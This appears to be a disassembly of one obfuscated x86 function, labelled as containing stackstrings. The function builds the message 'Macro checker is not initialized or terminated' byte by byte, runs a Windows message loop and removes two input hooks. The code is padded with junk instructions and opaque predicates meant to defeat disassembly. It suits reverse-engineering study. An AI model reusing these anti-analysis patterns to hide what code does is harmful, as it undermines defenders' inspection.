Function at 0x10011df8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jae 0x1001191e
jmp 0x10011919
call fcn.10011920
jae 0x10011919
add esp, 4
jmp 0x10011925
dec dword [esp]
jno 0x1001192a
jns 0x10011915
jp 0x1001192e
add esp, 4
popf
jmp 0x10011935
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001194e
jne 0x1001194e
call 0x1fc14ca2
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov byte [ebp - 0x38], 0x4d
mov byte [ebp - 0x37], 0x61
mov byte [ebp - 0x36], 0x63
mov byte [ebp - 0x35], 0x72
mov byte [ebp - 0x34], 0x6f
mov byte [ebp - 0x33], 0x20
mov byte [ebp - 0x32], 0x63
mov byte [ebp - 0x31], 0x68
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x63
mov byte [ebp - 0x2e], 0x6b
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x72
mov byte [ebp - 0x2b], 0x20
mov byte [ebp - 0x2a], 0x69
mov byte [ebp - 0x29], 0x73
mov byte [ebp - 0x28], 0x20
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x6f
mov byte [ebp - 0x25], 0x74
mov byte [ebp - 0x24], 0x20
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], 0x69
mov byte [ebp - 0x20], 0x74
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x61
mov byte [ebp - 0x1d], 0x6c
mov byte [ebp - 0x1c], 0x69
mov byte [ebp - 0x1b], 0x7a
mov byte [ebp - 0x1a], 0x65
mov byte [ebp - 0x19], 0x64
mov byte [ebp - 0x18], 0x20
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x20
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x72
mov byte [ebp - 0x11], 0x6d
mov byte [ebp - 0x10], 0x69
mov byte [ebp - 0xf], 0x6e
mov byte [ebp - 0xe], 0x61
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0xa], 0x2e
mov byte [ebp - 9], 0x25
mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0
push 1
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x4a0]
push ecx
call fcn.10010bf0
add esp, 0xc
lea edx, [ebp - 0x38]
push edx
call fcn.10021e00
add esp, 4
xor eax, eax
test eax, eax
je 0x10011a51
jne 0x10011a50
call 0x93050ad8
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10011a5f
jmp 0x10011a61
je 0x10011a5c
clc
jae 0x10011a66
cwde
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x10011a6b
jne 0x10011a6b
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x10011a78
jmp 0x10011a73
call 0x10011a7a
jae 0x10011a73
add esp, 4
jmp 0x10011a7f
dec dword [esp]
jno 0x10011a84
jns 0x10011a6f
jp 0x10011a88
add esp, 4
popf
jmp 0x10011a8f
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011aa8
jne 0x10011aa8
call 0x1fc14dfc
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.10022100
clc
jae 0x10011ac3
inc edx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x10011ad0
jmp 0x10011acb
call 0x10011ad2
jae 0x10011acb
add esp, 4
jmp 0x10011ad7
dec dword [esp]
jno 0x10011adc
jns 0x10011ac7
jp 0x10011ae0
add esp, 4
popf
jmp 0x10011ae7
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011b00
jne 0x10011b00
lcall 0x749a, 0x3eb037c
sti
jl 0x10011b05
jmp 0x10011b07
je 0x10011b02
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10011b21
jne 0x10011b20
call 0x93050ba8
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10011b2f
jne 0x10011b2f
call 0xd5d958b6
or byte [eax], dl
add byte [edi], cl
test dword [ecx + 2], eax
add byte [eax], al
cmp dword [0x1008c5d8], 0
jne 0x10011d7d
xor eax, eax
test eax, eax
je 0x10011b45
jne 0x10011b44
call 0x93050bcc
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
test byte [ebx + edi*8 - 8], dh
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10011b53
jmp 0x10011b55
je 0x10011b50
clc
jae 0x10011b5a
ja 0x10011ade
je 0x10011b5f
jne 0x10011b5f
test byte [esi - 0x64], ah
pushf
push 0xa
jae 0x10011b6c
jmp 0x10011b67
call 0x10011b6e
jae 0x10011b67
add esp, 4
jmp 0x10011b73
dec dword [esp]
jno 0x10011b78
jns 0x10011b63
jp 0x10011b7c
add esp, 4
popf
jmp 0x10011b83
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011b9c
jne 0x10011b9c
call 0x1fc14ef0
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov byte [ebp - 0x6c], 0x4d
mov byte [ebp - 0x6b], 0x61
mov byte [ebp - 0x6a], 0x63
mov byte [ebp - 0x69], 0x72
mov byte [ebp - 0x68], 0x6f
mov byte [ebp - 0x67], 0x20
mov byte [ebp - 0x66], 0x63
mov byte [ebp - 0x65], 0x68
mov byte [ebp - 0x64], 0x65
mov byte [ebp - 0x63], 0x63
mov byte [ebp - 0x62], 0x6b
mov byte [ebp - 0x61], 0x65
mov byte [ebp - 0x60], 0x72
mov byte [ebp - 0x5f], 0x20
mov byte [ebp - 0x5e], 0x69
mov byte [ebp - 0x5d], 0x73
mov byte [ebp - 0x5c], 0x20
mov byte [ebp - 0x5b], 0x6e
mov byte [ebp - 0x5a], 0x6f
mov byte [ebp - 0x59], 0x74
mov byte [ebp - 0x58], 0x20
mov byte [ebp - 0x57], 0x69
mov byte [ebp - 0x56], 0x6e
mov byte [ebp - 0x55], 0x69
mov byte [ebp - 0x54], 0x74
mov byte [ebp - 0x53], 0x69
mov byte [ebp - 0x52], 0x61
mov byte [ebp - 0x51], 0x6c
mov byte [ebp - 0x50], 0x69
mov byte [ebp - 0x4f], 0x7a
mov byte [ebp - 0x4e], 0x65
mov byte [ebp - 0x4d], 0x64
mov byte [ebp - 0x4c], 0x20
mov byte [ebp - 0x4b], 0x6f
mov byte [ebp - 0x4a], 0x72
mov byte [ebp - 0x49], 0x20
mov byte [ebp - 0x48], 0x74
mov byte [ebp - 0x47], 0x65
mov byte [ebp - 0x46], 0x72
mov byte [ebp - 0x45], 0x6d
mov byte [ebp - 0x44], 0x69
mov byte [ebp - 0x43], 0x6e
mov byte [ebp - 0x42], 0x61
mov byte [ebp - 0x41], 0x74
mov byte [ebp - 0x40], 0x65
mov byte [ebp - 0x3f], 0x64
mov byte [ebp - 0x3e], 0x2e
mov byte [ebp - 0x3d], 0x25
mov byte [ebp - 0x3c], 0x64
mov byte [ebp - 0x3b], 0
push 2
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x8a0]
push ecx
call fcn.10010bf0
add esp, 0xc
lea edx, [ebp - 0x6c]
push edx
call fcn.10021e00
add esp, 4
xor eax, eax
test eax, eax
je 0x10011c9f
jne 0x10011c9e
call 0x93050d26
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10011cad
jmp 0x10011caf
je 0x10011caa
clc
jae 0x10011cb4
cwde
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x10011cb9
jne 0x10011cb9
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x10011cc6
jmp 0x10011cc1
call 0x10011cc8
jae 0x10011cc1
add esp, 4
jmp 0x10011ccd
dec dword [esp]
jno 0x10011cd2
jns 0x10011cbd
jp 0x10011cd6
add esp, 4
popf
jmp 0x10011cdd
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011cf6
jne 0x10011cf6
call 0x1fc1504a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.10022100
clc
jae 0x10011d11
inc edx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x10011d1e
jmp 0x10011d19
call 0x10011d20
jae 0x10011d19
add esp, 4
jmp 0x10011d25
dec dword [esp]
jno 0x10011d2a
jns 0x10011d15
jp 0x10011d2e
add esp, 4
popf
jmp 0x10011d35
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011d4e
jne 0x10011d4e
lcall 0x749a, 0x3eb037c
sti
jl 0x10011d53
jmp 0x10011d55
je 0x10011d50
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10011d6f
jne 0x10011d6e
call 0x93050df6
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10011d7d
jne 0x10011d7d
call 0xd5d55b04
or byte [eax], dl
add byte [ebp + 0xd], dh
cmp dword [0x1008c5d4], 0
jne 0x10011d93
cmp dword [0x1008c5d8], 0
je 0x1001206d
push 0
push 0
push 0
lea eax, [ebp - 0xde8]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x10011dc6
lea ecx, [ebp - 0xde8]
push ecx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea edx, [ebp - 0xde8]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x10011d93
xor eax, eax
test eax, eax
je 0x10011dcf
jne 0x10011dce
call 0x93050e56
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
test byte [ebx + edi*8 - 8], dh
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10011ddd
jmp 0x10011ddf
je 0x10011dda
clc
jae 0x10011de4
ja 0x10011d68
je 0x10011de9
jne 0x10011de9
test byte [esi - 0x64], ah
pushf
push 0xa
jae 0x10011df6
jmp 0x10011df1
call 0x10011df8
jae 0x10011df1
add esp, 4
jmp 0x10011dfd
dec dword [esp]
jno 0x10011e02
jns 0x10011ded
jp 0x10011e06
add esp, 4
popf
jmp 0x10011e0d
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011e26
jne 0x10011e26
call 0x1fc1517a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov byte [ebp - 0xa0], 0x4d
mov byte [ebp - 0x9f], 0x61
mov byte [ebp - 0x9e], 0x63
mov byte [ebp - 0x9d], 0x72
mov byte [ebp - 0x9c], 0x6f
mov byte [ebp - 0x9b], 0x20
mov byte [ebp - 0x9a], 0x63
mov byte [ebp - 0x99], 0x68
mov byte [ebp - 0x98], 0x65
mov byte [ebp - 0x97], 0x63
mov byte [ebp - 0x96], 0x6b
mov byte [ebp - 0x95], 0x65
mov byte [ebp - 0x94], 0x72
mov byte [ebp - 0x93], 0x20
mov byte [ebp - 0x92], 0x69
mov byte [ebp - 0x91], 0x73
mov byte [ebp - 0x90], 0x20
mov byte [ebp - 0x8f], 0x6e
mov byte [ebp - 0x8e], 0x6f
mov byte [ebp - 0x8d], 0x74
mov byte [ebp - 0x8c], 0x20
mov byte [ebp - 0x8b], 0x69
mov byte [ebp - 0x8a], 0x6e
mov byte [ebp - 0x89], 0x69
mov byte [ebp - 0x88], 0x74
mov byte [ebp - 0x87], 0x69
mov byte [ebp - 0x86], 0x61
mov byte [ebp - 0x85], 0x6c
mov byte [ebp - 0x84], 0x69
mov byte [ebp - 0x83], 0x7a
mov byte [ebp - 0x82], 0x65
mov byte [ebp - 0x81], 0x64
mov byte [ebp - 0x80], 0x20
mov byte [ebp - 0x7f], 0x6f
mov byte [ebp - 0x7e], 0x72
mov byte [ebp - 0x7d], 0x20
mov byte [ebp - 0x7c], 0x74
mov byte [ebp - 0x7b], 0x65
mov byte [ebp - 0x7a], 0x72
mov byte [ebp - 0x79], 0x6d
mov byte [ebp - 0x78], 0x69
mov byte [ebp - 0x77], 0x6e
mov byte [ebp - 0x76], 0x61
mov byte [ebp - 0x75], 0x74
mov byte [ebp - 0x74], 0x65
mov byte [ebp - 0x73], 0x64
mov byte [ebp - 0x72], 0x2e
mov byte [ebp - 0x71], 0x25
mov byte [ebp - 0x70], 0x64
mov byte [ebp - 0x6f], 0
push 3
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0xca0]
push ecx
call fcn.10010bf0
add esp, 0xc
lea edx, [ebp - 0xa0]
push edx
call fcn.10021e00
add esp, 4
xor eax, eax
test eax, eax
je 0x10011f8f
jne 0x10011f8e
call 0x93051016
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
sal dword [ebx + edi*8 - 8], 1
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10011f9d
jmp 0x10011f9f
je 0x10011f9a
clc
jae 0x10011fa4
cwde
sal dword [ebx + eax + 0x75], 1
add ecx, edx
je 0x10011fa9
jne 0x10011fa9
shl dword [esi - 0x64], 1
pushf
push 0xa
jae 0x10011fb6
jmp 0x10011fb1
call 0x10011fb8
jae 0x10011fb1
add esp, 4
jmp 0x10011fbd
dec dword [esp]
jno 0x10011fc2
jns 0x10011fad
jp 0x10011fc6
add esp, 4
popf
jmp 0x10011fcd
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10011fe6
jne 0x10011fe6
call 0x1fc1533a
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.10022100
clc
jae 0x10012001
inc edx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x1001200e
jmp 0x10012009
call 0x10012010
jae 0x10012009
add esp, 4
jmp 0x10012015
dec dword [esp]
jno 0x1001201a
jns 0x10012005
jp 0x1001201e
add esp, 4
popf
jmp 0x10012025
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x1001203e
jne 0x1001203e
lcall 0x749a, 0x3eb037c
sti
jl 0x10012043
jmp 0x10012045
je 0x10012040
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x1001205f
jne 0x1001205e
call 0x930510e6
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x1001206d
jne 0x1001206d
call 0x18c6f512
adc byte [eax - 1], dl
adc eax, sym.imp.USER32.dll_UnhookWindowsHookEx
mov eax, dword [0x1008c5d4]
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov ecx, dword [0x1008c5d8]
push ecx
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004c355
mov esp, ebp
pop ebp
ret 4